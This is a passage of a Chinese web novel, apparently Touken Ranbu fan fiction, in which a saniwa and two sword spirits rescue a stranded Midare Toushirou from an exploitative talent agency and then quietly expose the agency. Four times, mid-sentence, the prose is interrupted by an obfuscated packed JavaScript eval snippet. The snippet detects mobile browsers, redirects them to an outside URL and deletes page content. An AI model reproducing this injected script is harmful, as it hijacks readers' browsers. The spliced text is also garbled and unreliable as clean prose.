单看后者亦或者单看前者都不会有什么感触,毕竟审神者平时一身白雾包裹,什么也看不清。但是当他就这样完完整整站在面前,在短时间内接触过两人的一期一振便立刻看出了他们的不同。 那个孩子气息阴沉,气质看起来比他们这群半吊子演员还适合暗黑本丸的环境,那副模样很难不令人感到担忧。 然而现在的审神者却只使人感受到温和而平静,虽然表情很少、语气也很淡,却能感受到他的态度平和。 ……成长能给人这么大的改变吗? “……哎呀呀、这可真是……”审神者有些语塞的声音响起,唤回了一期一振的神思。他走过去询问:“出什么事了?” 太鼓钟贞宗把手里的电影票根拿给他看——他本来是想要留着当纪念的,上面写着7月11日。 一期一振扫过一眼,脑袋里闪过一丝什么,抬起头一看,不远处的商场大屏幕亮着,今日日期高高悬于其上:8月9日,日曜日,晴。 三人沉默片刻,一期一振说道:“这么说的话,审神者几乎是刚刚离开本丸,时空转换器就再次亮起了——当时我还以为是自己看错了。” 毫无疑问,时间流速的差别实在太大,清水悠不得不在意一下这个问题了。 他把一期一振重新带出来的时间相信不超过二十分钟,外面就过去了一个月。这么说来…… “那振乱藤四郎的审神者不会根本还没发现他走丢了吧?”太鼓钟贞宗干巴巴道。 原本以为一振刀剑流落在外时间这么久还无人寻找,那位审神者多半也有点问题。谁知道现在看来,乌龙的可能性居多。 清水悠扶额:“等回去了,我一定要给时政写封建议信,筛选条件多加一点……至少也别把差别这么大的世界都给放进来。” 这样的时间差的话,之前所想的慢慢思考解决方案就不再能行得通。 他们现在可要真的一次性解决这个事件,否则回去一趟这里就不知道要过去多久,对那一振乱藤四郎来说,恐怕是耗不起的。 “能找到他最近去过的地方吗?”一期一振问。 清水悠翻找了一会儿,乱藤四郎在社交平台上的人气值不高,相关讨论贴都冷冷清清的,也没人放出他的行程表。 对于一个不追星的人来说,找这些实在有些生疏,没有行程表的话就只能拼凑信息去推断。好在运气不错,他最近有一部综艺邀约,就在这两天拍摄,去那附近蹲着说不定能截到人。 “好,那就先找地方住两天。”清水悠关掉通讯器,缓缓吐出一口气。 两人自然没有异议,然而下一秒,清水悠手一摸包,表情就忽然僵住。 太鼓钟贞宗已经走出去了两步,听见他的脚步声戛然而止,疑惑地回头:“审神者大人?” 旁边有人路过,听见这中二的称呼怪异地扫过来一眼,清水悠眼皮一跳,迅速竖起食指压在唇上:“嘘——在外面叫我泉就好了。” “泉、”太鼓钟贞宗结巴了两下,到底没敢直呼其名,“……泉大人。” 见他一副跟自己作斗争的模样,清水悠没再继续要求他,而是摸了摸口袋,黑色的微卷毛都有气无力地耷拉下来。 “我想,我有一件事要告诉你们。”他慢慢开口道,“首先是好消息,我有在身上揣钱的习惯。” 一般说这种话肯定要接上一个坏消息,太鼓钟贞宗琢磨着审神者的语气,忽然浮现出一种不妙的预感。 果不其然,清水悠很快给出了下一句:“……呃、坏消息是,我只带了甲州金。” 而时政没有开通甲州金兑换现代货币的业务。 话音落下,三人又面面相觑地沉默了一会儿。 这种感觉就像乞丐进博物馆偷了一堆有价值的文物,却没有手段出手,而他空有价值连城的东西带在身上,却无法给他换成钱财去购买食物,很快就要饿死在小巷里。 “……”清水悠很快挥散了这个恐怖的想法,一行三人面面相觑一会儿,最后是一期一振打破了沉默。 他慢吞吞说道:“如果不介意的话,我身上还带着一些小判。不过,因为数量不是很多,所以……” 后面的话太鼓钟贞宗根本没听他说,“没关系啦!反正就这两天不是吗?找个不那么华丽的地方住下应该够用吧,审、泉大人?” 清水悠接过一期一振递过来的钱包,打开看了下,在心里估算完毕,松了口气。 还好,大概正好能支撑两天的消费。 只要不出意外的话。 …… 不出意外的话就要出意外了。 等到了第三天,三人蹲在墙边,盯着通讯器上显示的消息开始发愁。 “竟然推迟了。” 原本昨天就应该开始拍摄,谁知道这种时候出了岔子,突然表示拍摄推迟,而且还没有说推迟到多久。 “这下可怎么办?”太鼓钟贞宗揪着地上的杂草,“要回去一趟吗?” 很少发言的一期一振沉默片刻,开口道:“你们回去吧,审神者。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870264|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “‘我们’?”清水悠注意到他的用词。 蓝发青年靠在墙边,太刀的长度不如短刀一般好隐藏,他背了个吉他包挎在身后。 他低下眼,眉眼不如清水悠印象中那样温润,金眸带着几分金属般的锋芒。 “我是一把刀,”他陈述事实,“只有我在这里的话,不需要住宿,也不需要食物。” 清水悠和他对视,旁边的太鼓钟贞宗仰起脸喃喃,“这听起来好惨啊。” 有些凝滞的氛围在这一句中悄然散去,清水悠没忍住轻笑了一声,收回视线。 他没有作应答。不管怎么说,他都不打算放一期一振独自留在这里。乱藤四郎的例子就摆在眼前呢,让他不得不多长了一个心眼,害怕这一回去就出了什么意外,然后让这兄弟俩变成同病相怜的情况。 他摇了摇头,撑着膝盖站起身。 说这个还不如找找哪里可以洗盘子靠谱呢,他抬手碰了碰脸上的面具,正思索着接下来怎么办,一抬眼,目光就凝住了。 太鼓钟贞宗还在和一期一振讨论,就忽然察觉到审神者有什么动静。回过头来却只看见审神者的背影,立刻便反应过来追上去:“泉大人!” 清水悠没空应答,他的眼睛紧紧盯着前方某个身影——瘦小的少年埋着头逃窜,乱藤四郎把他那一头显眼的橘发塞进兜帽,抽绳拉得很紧。 这样的装束不仔细看的确发现不了,但清水悠刚才蹲在地上的视角,瞥见了一抹银光。 ——他藏在裙底的短刀不小心掉落,虽然在被人发现之前就很快地捞起放回原位,但依然被清水悠看见了。 眼看对方就要消失在人潮中,他毫不犹豫就追了上去。 出乎意料的是,似乎是发觉了他的意向,乱藤四郎忽然加快了步伐,几乎发挥出短刀的全部机动,一眨眼清水悠就要丢失他的踪迹。 他头也不回地急喊:“小贞!” 太鼓钟贞宗如同风一样从身边刮了过去:“看我的吧!” 他冲出去之后,清水悠便彻底找不到人影了。他慢慢停下脚步。 一期一振后知后觉地追上来:“是乱吗?” 清水悠点头,又制止他担心则乱想要无头苍蝇一般追出去的举动,“我和你们之间有联系,能感知到小贞的位置,别着急,跟我走。” 一期一振抿唇,压下心中急切。 太鼓钟贞宗的位置一直在变动,再加上考虑到乱藤四郎明显在躲着谁的举动,清水悠不动声色扫视一圈周围,装作普通路人,带着一期一振融入人群之中。 两人跟着太鼓钟贞宗的位置移动,走着走着清水悠便拧起眉头,“走得越来越远了……” 这个距离要很快追上去的话,恐怕只有打车。 但他们没钱。 也不知道只有小贞一人的话能否解释清楚,清水悠有些担忧,在脑海中估算着距离,打算打开地图规划一下最近的路线。 就在这时,一期一振打断了他的思路。 蓝发太刀伸出手,虽穿着现代社会的便服,举手投足间也依然透出一股属于皇室的优雅。他彬彬有礼,却也不容拒绝地说道: “我带您走吧。” 30.第30章 灵力能增强人的五感,却改变不了他病弱的体质。 也就是说,在这场急迫的追击中,清水悠其实是拖后腿的那一个。 ……虽然事实如此,但就这么被点出来还是很不爽啊。 清水悠深吸一口气,他知道事情紧急,现在不是矫情的时候。但他看着一期一振打算公主抱的手势,觉得自己多少还是应该为自己争取一下。 “唔、一期殿,我没有要拒绝的意思,但是……” 他轻轻吸了口气,“只用背我就好。” 一期一振没表现出犹豫,转过身去蹲下,如同一个沉默的骑士。 但两人都明白事实并非如此。 付丧神的身体素质天然比人类要强许多,因此哪怕比不上短刀,一期一振的速度也无论如何称不上慢。 当到达那在清水悠眼里遥远的目的地时,也不过只过去了三分钟。 那边的两振小短刀已经停在原地,似乎是进行了和谈,看起来氛围和睦。不过听见不远处响起的动静,乱藤四郎还是吓了一跳,像受惊的小兽一般看过来,脚尖朝外,俨然是随时准备逃跑。 太鼓钟贞宗连忙安抚他:“是我的审神者啦,我不是说他也和我们一起来了吗?刚刚感应到他的位置靠近了,应该就是他。” 这么说着,他扭头看过来,在看见两人的造型时,眼中出现一抹讶异。 清水悠面色如常地跳下来,乱藤四郎确认了来人的身份,瞬间就变成了蛋花眼,扑进一期一振的怀里:“一期哥!!呜呜呜我知道你不是我的一期哥,但是我真的太久没有看见大家啦!你、你们知道我在这里待了多久吗?” 一期一振第一时间就确认了自家弟弟的状态还不错,松了一口气的同时也一边安抚一边顺着询问::“抱歉,我来晚了。乱在这里待了多久?” “——两年多!呜呜哇哇哇!!!” 这个数字超出了现场所有人的预料。 尽管身为刀剑时他们沉默着度过了不短的年岁,但拥有了人身之后毕竟就和那不是一回事。 人生地不熟在外面待了这么久,对于心性纯真如孩童的短刀来说,不用想也知其中艰难。 乱藤四郎吸了吸鼻子,许是憋了太久,还在继续诉苦,要一口气把自己的经历全都说出来:“我和退一起出门采购,结束的时候我发现有一枚发卡丢了,就让他先回去,自己留下来找找。” “结果找到之后却发现时空转换器也被退一起带回去了,我本来想着等他发现了会回来接我的,谁知道等了好久也没等到……” 眼看着暂时好像是回不去了,乱藤四郎便开始忧心接下来该在哪儿暂时安顿。正巧在这时,有人大概是看出了他的窘境来找上他,说等到夜晚会有活动,若他愿意上去唱一首歌,就可以为他提供帮助。 乱藤四郎完全没怀疑,这个提议甚至还踩中了他的心头好,没有犹豫就答应了下来。 一期一振听到这里时就隐约猜到了什么,脸色变得风雨欲来:“这些家伙……” “然后你就被他们绑架了?”太鼓钟贞宗眨巴眨巴眼,“不对,那些普通人类打不过我们吧?” 要知道,面前这一振可是已经极化归来的乱啊! “没有啦,那人倒还挺信守承诺的,听说我想找个地方住,就替我安排好了。”乱藤四郎卷了卷胸前垂落下来的发丝,“我是在第二天出门的时候碰到我现在所在的那家公司的人的。” “他们拦下我说,以我的外貌,他们一定能把我捧红,赚很多很多钱。” 这话倒是十分中肯,作为付丧神,他们的颜值都是人群中顶尖那一挂的。 乱藤四郎一开始没想要答应,他还想回去自己的本丸呢。但是那群人巧舌如簧,似乎是看出了他在等着什么,就哄他说反正也没事做,赚点钱不亏。 这话戳中了乱藤四郎的死穴,他回想起自家主人总是在嚷嚷着财政赤字,于是最终心念一动,决定去试试。 极少入现世,乱藤四郎对所有东西都不太了解。 而正是这份不了解,似乎便壮大了那群人的胆量,乱藤四郎一开始还好好打工,那群人也按规定给钱,后来就慢慢对他怠慢,工作越来越多,钱也越来越少。 按理说这种时候就该脱身了,然而时间过去这么久,已经足够让乱藤四郎明白自己不知猴年马月才能等到人来,甚至有可能一直都不被发现。 而这项工作让他能被更多人看见,同时也意味着若有别的刀剑男士来到此地,发现他的可能性也会变大,对他来说是有利的。 再加上身为刀剑,这些工作其实还没对他造成什么负担,给的钱少也没关系,有住的地方就行,这些东西结合在一起,让他迟疑了。 “……以及,还有十分关键的一点,”乱藤四郎用脚尖在地上画圈,“我的灵力很早就不够用了,只想尽最大可能尽快回家,不想节外生枝。” 清水悠一直安静听着,在这句话的话音落地之后才闭了闭眼,右手随意一握,便摊开递到乱藤四郎的面前,“我的灵力球你可以用吗?” ——感谢不久前进行的练习,让他可以做到现场高效搓球。 被这位陌生审神者的举动吓了一跳,乱藤四郎手一抖,差点扯落自己几根发丝,受宠若惊地道:“当然可以!!但、但是这个,真的要给我吗?” 清水悠不明所以,把手又往前递了递,“当然。” 乱藤四郎看了一眼身边的一期一振,在后者轻轻点头之后才小心翼翼地接过来。 灵力球入手温润,一旦接触便能感受到其中蕴藏着的强大灵力。温和的能量顺着手心进入身体,缓缓流入四肢百骸,乱藤四郎如同泡进了温泉里,整个人都放松下来。 “呜哇、得救了……” 一期一振抚摸着他的背,深深看了审神者一眼。 灵力球这种设定虽然存在,但它其实是个很奢侈的东西。 将灵力压缩成球状需要极强的控制能力,光是这个过程就要耗费不少的灵力。据不完全统计,迄今为止在职审神者们成功完成的那些灵力球,其中蕴含的灵力基本都不足过程中所消耗的总量的十分之一。 这几乎可以称得上是一种浪费的行为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14873766|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而大部分的审神者灵力都经不起这么消耗——有底蕴这么做的人也嫌弃它不实用,毕竟需要用到它的情况可以说是少之又少。 但它既然存在,自然就还是有它存在的价值。 经过这一番处理之后的灵力要更加温和好吸收,哪怕是不同主人的付丧神也可以轻松转化。 正适合当下的情景。 ……是特意为此考虑的吗? 一期一振眼底涌动着不明的情绪,清水悠对他的视线似乎有所察觉,疑惑地往这边看了一眼,而他在对视之前就已收回视线。 清水悠眨了眨眼,没在意,继续询问后面的情况,“这样说来,你应该还在继续履行那不成规矩的合约。” “是啊,本来我都想不管那些了的。” 乱藤四郎说着说着泄了气,“但他们居然让我去陪一个大叔一晚上……他们还以为我不知道那是什么意思呢,我可是有在主人的小书里看见过这种剧情的!我当然不可能答应,于是就把他们都打了一顿然后跑出来。” “然后你就躲着他们了?” “然后我发现我把本体落下了。” “……”清水悠有点想扶额,这一振乱藤四郎怎么好像有点丢三落四? “我想回去拿,结果他们把我的刀藏了起来,威胁我乖乖听他们的话,不然就把它掰断。” 话音未落,一期一振的眼神犀利了起来,一瞬间迸出了杀气。 意识到自己的话惹人误会,乱藤四郎连忙从裙下取出自己的短刀本体,它看上去没有任何受损过的痕迹,这让三人都松了口气。 乱藤四郎吐吐舌头,继续说道:“然后我就又把他们打了一顿。那家伙估计还以为这只是我很宝贝的玩具,当真要下手去掰,结果把自己的手给划了,呸、活该。” “他们嚷嚷着要报警抓我,我不敢闹出太大的动静,就只好先跑走了。……还好你们来了!不然我之后可能就要一直东躲西藏,做街头老鼠了呜呜呜。” 听上去很一波三折,不过还好没受多大的委屈。清水悠紧绷至此的神经在这一刻终于松开,他有些疲惫地揉了揉眉心,准备捋一捋思路好决定怎么往上报告。 虽说这样的情况囊括下来只是乱藤四郎所属本丸的私人问题,但现在短刀在现世闹出了这么大动静,恐怕不得不联系时政来收场。 趁着这个机会,也正好提一提时间流速这个问题…… 他埋头苦思的时候,时间已经差不多到了中午。 太鼓钟贞宗左看右看,打算去不远处的街边买几个铜锣烧,临走之前问了一下审神者想要什么,被他摇头拒绝。 他遥遥望了一眼,审神者在边上随便找了个地方坐下,手里的通讯器伸展成为平板大小,他的手指在上面极快速地敲击,又时不时停下来按着脑袋思索着什么,看上去颇为苦恼,也难怪没有胃口吃东西。 他又往另一边一瞥,看见一期一振的目光也落在审神者身上,从他这个角度看不出对方在想什么。 太鼓钟贞宗最后耸耸肩,算了算钱包里仅剩的几个子儿,决定先去买铜锣烧。 31.第31章 审神者为报告发愁,乱藤四郎也过了兴奋劲儿,安静下来慢慢消化灵力,一时之间只剩一期一振无所事事。 他盯着审神者出神,眼神里蕴含的情绪很复杂,半晌,睫毛垂下,阴影遮挡住了眼睛。 太鼓钟贞宗买完东西回来,轻轻碰了碰他的胳膊:“呐,一期殿。” 一期一振偏过头与他对视,在他开口之前便打断了他的话:“我知道你想说什么,但是抱歉,请容我拒绝。” “唯独这件事是不行的,”他摇摇头,“……我不止代表着‘我自己’啊。” “……”太鼓钟贞宗有点焦急,虽然再一次得到了明确的拒绝,但他依然觉得不太甘心。 在他看来,如果听完了他接下来的话,一期殿一定会有所考虑的。 但是还没等他说出口,一道声音就插了进来。 “我休息好啦!”乱藤四郎灵活地站起来,注意到他们之间的气氛,迟疑了一下,“我是不是打扰到你们了?” 一期一振笑着摸了摸他的头:“不,没有那回事。” 正巧此时,清水悠也粗略打好了草稿,收起通讯器走过来,“好了。乱,我们会送你回家的,不过得先到我那儿去……还记得你的本丸编号吧?等回去后,我会联络你的主人告知情况。” “没有问题!”乱藤四郎乖乖站好。 “至于你的那个公司——”清水悠眯了眯眼。 提到这件事,一期一振忽然插话:“审神者,或许我接下来的话会让你感到不高兴,但我无法轻易放过他们。后果我会独自……” 没等他说完,清水悠摇了摇头,打断了他的话。 一期一振沉默了一会儿,却没松口。他难得显出几分强硬姿态,“抱歉,这是我的选择。如果执法队追责,我接受一切处罚,绝不会连累到你。” 时之政府严禁插手现世之事,因此乱藤四郎的这一遭多半会被用影响最小的方式解决,这种方式也就意味着那群家伙根本得不到什么惩罚。 让那样对待他弟弟的人就这样逍遥自在……一期一振无法忍受。 乱藤四郎吓了一跳:“一、一期哥!” 他敏锐的意识到这一振兄长似乎与他的审神者之间存在什么问题,可在他看来,大家又都是很好的人。因此视线在两人之间乱转,急得说不出话。 而听见这样的话,清水悠依然还是摇头,不过说出口的话却与大家所想不太一样:“别着急,我没说要就这样原谅他们,但是顶风作案,也实在不是一个明智之举。” 一期一振一愣,想要继续询问,清水悠却示意太鼓钟贞宗把罗盘拿出来:“先回去吧,我们把乱送回家。” - 与乱藤四郎的主人进行了通讯之后,清水悠无奈地发现那位粗心的审神者果然根本还没有发现自家刀剑的问题。 他十分愧疚地表示,因为只过去了几个小时,所以以为乱只是还想在外面多玩一会儿,完全没想过那边的时间流速竟然会有这么快。 那位审神者对清水悠表达了感谢,也迅速对他打开了本丸权限,时隔两年,乱藤四郎终于回到家中。 [真的不知道要怎么谢谢你才好!今天时间不早了,隔日我一定上门来感谢您,唉、出现这种事,我真是……而且这种说得上潜在隐患的东西,时政怎么都不提醒一下,等我写报告的时候一定要提两句这个问题……] 那位审神者似乎也吓坏了,在打开权限之后,他依然絮絮叨叨地对清水悠发送了许多信息。 清水悠心念一动,[对了,关于报告这件事,在回来之前,我已经打好了草稿。如果您不介意的话,就由我来提交吧?] [诶?当然没问题!不如说是我又麻烦你了才对!] 交涉完毕,清水悠往椅背上一靠,门铃在这时响了起来。 他偏过头,属于一期一振的铃铛摇动两下,他很规矩地先以摇铃表示身份,然后才抬手叩门:“打扰了,审神者。” 清水悠在椅子上瘫了两秒,疲惫地叹口气——或许是今天事不少,总觉得比以往要累。 然后他看了眼天色,打起精神坐好,让一期一振进来。 “审神者……”一期一振一进门便开门见山地想要说些什么,清水悠却甩手把一个文件袋扔进他怀里,“来吧,拿好,跟我走。” 被砸得有点懵,一期一振下意识跟着他走了出去。 一直到越来越靠近空间转换器的位置,他才反应过来,脑海中浮现出一个猜测,又有些不敢相信:“审神者……?” 清水悠摆摆手,示意他压低声音:“嘘。” 他斜睨过来一眼,目光落在一期一振手中文件袋上:“你可注意拿稳了,不要弄丢——这是我们这次出门最重要的东西。” 这语气太郑重,一期一振身体快过脑子的从单手拎袋切换成了双手捧袋,清水悠不由自主笑了一下:“……啊,也不用这样。” 就在一期一振埋头与文件袋作战的过程中,他们抵达了时空转换器旁边。 清水悠还是第一次尝试自己调试罗盘,他回忆着之前太鼓钟贞宗的动作,正要伸手拨动,一期一振就忽然回头:“谁?” 清水悠动作一顿。 伴随着话音落地,一道身影从阴影里走出。加州清光神色淡淡,目光从他们手里的东西和罗盘上一扫而过。 “这是要去哪儿?”他问。 一期一振准备开口,却被清水悠抬手拦下。 “打算去给现世的一些人找点麻烦。” 他解释的态度很坦白平静,没注意到加州清光一闪而过的怔愣。 加州清光一时没搭腔,清水悠便以为这样的回答不足以让他放行,又多解释了一句:“就算被发现,要追责也是找我。放心吧,时政知道我和你们关系不亲近,不会牵连到你们的。” “为什么要去?”加州清光的嗓音有些古怪,“又是为了向欺负过付丧神的人报仇?” 什么叫又?清水悠扬了扬眉:“要这么说也可以。” 有风吹过,树叶沙沙作响。 加州清光没搭话,他依然在继续问:“时政会处理的,何必冒这个风险?” 这话一出,一期一振探究地看了他一眼。 这样的刨根问底似乎不太符合他的性格。或许审神者只以为他是怕连累到自己才反复询问,但在一期一振记忆里,这振本丸的初始刀并非像这样多管闲事的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895956|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在大多数时候,他反而都是支持付丧神随心做事的那一派。 清水悠倒是思考了一下这个问题:“唔、风险啊……” 他很快就摊摊手,话里带上一点笑音:“风险低于成功之后的价值,那我就认为值得。” 这一句似乎堵得加州清光无话可说,他沉默了很长一段时间,然后慢慢走上前来,月光洒落在他的脸上,而他低眸看向院子中央的罗盘。 “一期殿没有几次当队长的经验,我来调试吧。”他低声说道,听起来像是同意了。 清水悠松了口气:“拜托了。” 他看了眼时间,考虑到时流不同的问题,虽说要拖一段时间,但拖太久也不好。再迟一点恐生意外变故,还好加州清光没再纠缠。 调试完毕,清水悠带着一期一振走上前去,离开了本丸。 - 匆匆解决完一堆事,饭也没来得及吃就又跑出的后果就是,清水悠的肚子发出了咕咕的叫声。 他摸了摸肚子,后知后觉反应过来,距离吃完他的早饭已经过去了好几个小时。 一期一振的声音在耳边落下:“先去吃饭吧,审神者。这次我带了足够的小判。” 说起来也是,一期殿好像也没怎么吃。 不过付丧神会饿肚子吗? 清水悠偏过眼,想说他也有带钱,不过没等他把话说出口,一期一振已经迈步走了出去。 行动力真强。清水悠摇了摇头,追了上去。 两人在附近就近吃了一碗拉面,出门时天色已黑。清水悠看了一眼时间,这里距离他们离开时已过了半年。 “现在要做什么?”一期一振问他。 “时间还早,”清水悠左看看右看看,忽然拉着一期一振走进一家便利店,“麻烦帮我买两个梅子饭团吧,拜托了,我在这里等你。” 丢下一脸懵逼的太刀,清水悠转身走出门外,在门口不远处停下来玩起手机,看起来的确是一副等人的模样。 事实上,趁着这个机会,清水悠打开通讯器,正在快速在网络上搜索消息。 一期一振的蓝发和他的面具回头率都很高,虽然日本人非常有社交距离感,不会明晃晃的直接看过来,但那种注意却免不了。 再加上夜晚人不多,通讯器的亮光在黑夜里也十分显眼,于是清水悠只能借着便利店伪装成那种半夜出来玩的机车少年,反倒没什么人关注他们了。 时间不多,清水悠快速搜寻着,很快找到了他要找的东西。 看起来,他之前留下的那些,如今成果还不错?他几不可察地弯了弯唇角,接着拿出前两天在这个世界购买的手机,进行最后的传输之后等待几分钟。 上传、编辑、点击发送。 一期一振正好在这时从便利店里出来,他朝清水悠走过来,乖乖按照审神者的话给他买好了两个梅子饭团,站定后递给他:“你要的饭团。” “啊呀,谢谢。”清水悠眯眼笑起来,看起来很高兴的模样,一期一振看着他眼尾上挑的弧度,不知为何一时间想到了狐狸。 青年打开袋子看了看,语气愉悦: “——我最喜欢这家店的梅子饭团啦。” 32.第32章 一期一振今天一整个夜晚都是迷糊的。 他跟着审神者出门,以为是要去让那群家伙付出代价。然而整个过程中吃了一顿饭、进便利店进行购物、甚至还逛到附近似乎是在搞什么活动的地方买了些便于携带的甜食说是当伴手礼…… 若不是在最后回去之前,他们悄悄溜进了某个房间,审神者从袋子中抽出几叠纸张散落在屋子某个隐蔽处,他当真要以为自己这一趟只是出来游山玩水的了。 即便如此,他也依然不知道审神者都做了什么打算。 青年只对他说了一个字—— 【等】。 - 回到本丸之后,清水悠便把报告上传。 不出他所料,付丧神遗落在外两年未曾被人发现这件事引起了他们的重视——尤其是还在现世搅动出这么多事,这让他们火急火燎就赶了过来了解情况。 “……也就是说,你们是在电影画面中发现他的?” “是这样的。”清水悠回答道。 面前这位执法者的面容微微扭曲了一下,似乎是在提前为自己加班的未来哀嚎。 看着他这副模样,清水悠默默发誓自己一定不会将自己做的事透露出丝毫痕迹。 执法者低头唰唰地记录着,大概是苦于繁杂的记载,他暂时停止了接下来的询问。 清水悠便无聊起来。 他盯着执法者,总觉得似乎少了点什么,接着便忽然灵光一闪,很快意识到是缺少了一个负责记录的人员,导致对方看起来十分忙碌。 之前两次没什么大事的情况,来的人都要比这多不少,没道理这次满眼凝重地赶过来,反倒还人手不够。 除非,更多的人已经去了别处。 在调查那边的事情了吗? 执法者记录完毕,又翻了翻别的问题,该了解的已经了解得差不多了,据这位审神者的证言来看,他们的确只是凑巧路过帮了忙。 他道了别准备离开,清水悠礼节性送他到门口。正准备站上时空转换器,执法者顿了一下,忽然想起一个问题。 “失礼了,这是出于我个人的好奇,您可以选择不回答。”他犹豫了一下,“根据您所提到的信息,您本丸的乱藤四郎并没有参与进这次事件。因为出于刀剑男士们的特性,同振出现问题时本人往往是最积极的那个,所以……” 他越说声音越小。 他的确只是出于好奇才问,因为一直对刀剑们的关系感到好奇,这次见也是一期一振代替乱藤四郎出面,便不由自主问出了这个问题,其实自己也不知究竟是想得到怎样的答案。 但说到一半他才想起这是一个怎样的本丸,顿时感到后悔,万一这振乱藤四郎只是单纯不愿与新审神者相处,那他这个问题可就踩大雷了。 清水悠不知他所想,只笑了笑:“一期一振说,不愿弟弟为此时忧心,所以便瞒着他自己去解决事情。这件事毕竟与他们自身关系更重,我就由他们自己选择了。” “噢、噢,这样啊。”胡思乱想被打断,执法者愣愣地点了点头。 许是感到氛围有些尴尬,他迅速往前踏出一步,发动了时空转换器。 “谢谢您的配合,也谢谢您对此事做出的贡献。” 光芒亮起前,他微微弯腰,郑重说道。 执法者离开了,清水悠伸了个懒腰,打着哈欠打算回去休息,一转身就看见身后悄无声息站着一个人,哈欠打到一半,被吓没了。 那人走出一步,清水悠看清了他的脸,无奈扶额:“……你们都跟谁学的,这么爱吓人?” 一期一振:“抱歉。” 语气永远有礼,行为永远相反。 “我只是想知道,审神者与我说过的话,是否有真正做到。” “嗯?还在纠结这个啊。”嘴里说着听起来不太负责任的话,清水悠却摊了摊手,问他,“你看天上的月亮,圆吗?” 本丸景趣由审神者设置,想让它圆就让它圆。一期一振看了一眼,虽不太明白为什么要问这个问题,但也乖乖应是。 在他刚说完的下一秒,夜空中一朵云飘过来,将圆月遮挡。 “——现在你看到的就是残缺的。” “在你去便利店的时间,我搜寻了那群人的罪证。他们欺骗乱不了解,说起来看似只是做得有点过分,实际上连合同都没有签过……” “稍微查了一查,果然就查出了很多东西。” “用这些东西,我进行了匿名举报与网上披露。”清水悠把玩着手里的通讯器,回想起被自己用完便遗弃在现世垃圾桶里的那部新手机,眼里不见半点心疼,“或许举报之后能得到的反馈不太尽人意,但多少会给他们添一点麻烦让他们焦头烂额。而如果等他们将漏洞处理好之后,再将事情完整地传播到网络上,蛛丝马迹就能连接成线。” “两年下来,乱还是有几个死忠粉的,那个公司的其他小演员也是。” “得知自己的偶像一直以来遭受这样的对待……你说他们会怎么做?” 一期一振:“那那个文件袋里的……” “喔,那个啊。”清水悠耸了耸肩,“是一些有关于‘乱藤四郎’这振短刀的资料,用处是证明他们或许已经开始研究乱的存在。时政为了不让自己暴露,哪怕只是以防万一,也会加把劲把他们送进牢里了——反正,只是罪有应得而已。” 一期一振闭上嘴,皱着眉思考了很久。 如此说来,这样的确要比他最开始所想的那种蠢方法要好。但是这样虽逃脱了罪责,也的确是违反了规定…… 真的合适吗? 清水悠看着他,像是知道他在想什么,忽又提起最开始的话题。 “月亮被云层遮挡,便成了缺月,可它实际上依然完完整整。”他低声说,“自古以来便有许多人对着难得一见的圆月许愿,当它表现出来的是完整形态时,要承受的就比别的时候要多许多,但说白了,那些许愿不理会也不会发生什么事。” “时政禁止在职人员对现世造成影响是怕有人脱轨暴露自己。为了彻底避免这样的情形,他们一刀切了所有情况,不许任何人迈出那一步。” “可他们所担心的我们不会做,也保证不会去做。” 清水悠迈开步子,与一期一振错身而过:“一期殿,我只是打算做那一轮非月圆之夜的月亮。” “——噢对了,正好有此机会,我想澄清一下。我不打算取代你们的主人,也愿意帮助你们寻找他的下落,如果可以,我希望我们能够好好相处。” “你觉得呢?” - 一期一振脑子很乱。 这位审神者的性格和他想象中有些差距,而在他还没能说服自己上一件事时,对方又丢下了一个炸弹——如果他是想用这种接连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910306|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不断的攻势让自己溃不成军,那么他成功了。 他带着一脑子疑问往粟田口的方向走了两步,又想起今天早些时候约好的事,脚步一转。 推开三条派的门,里面位置已经坐满,就差他一个。 三日月宗近笑着看过来:“哈哈哈,看一期殿的样子,是与那位审神者进行了深入交流?” 一期一振犹豫了一下,没有提乱那件事的后续解决方案,只将审神者最后说的那句话说出口。 “……他是这样说的。” 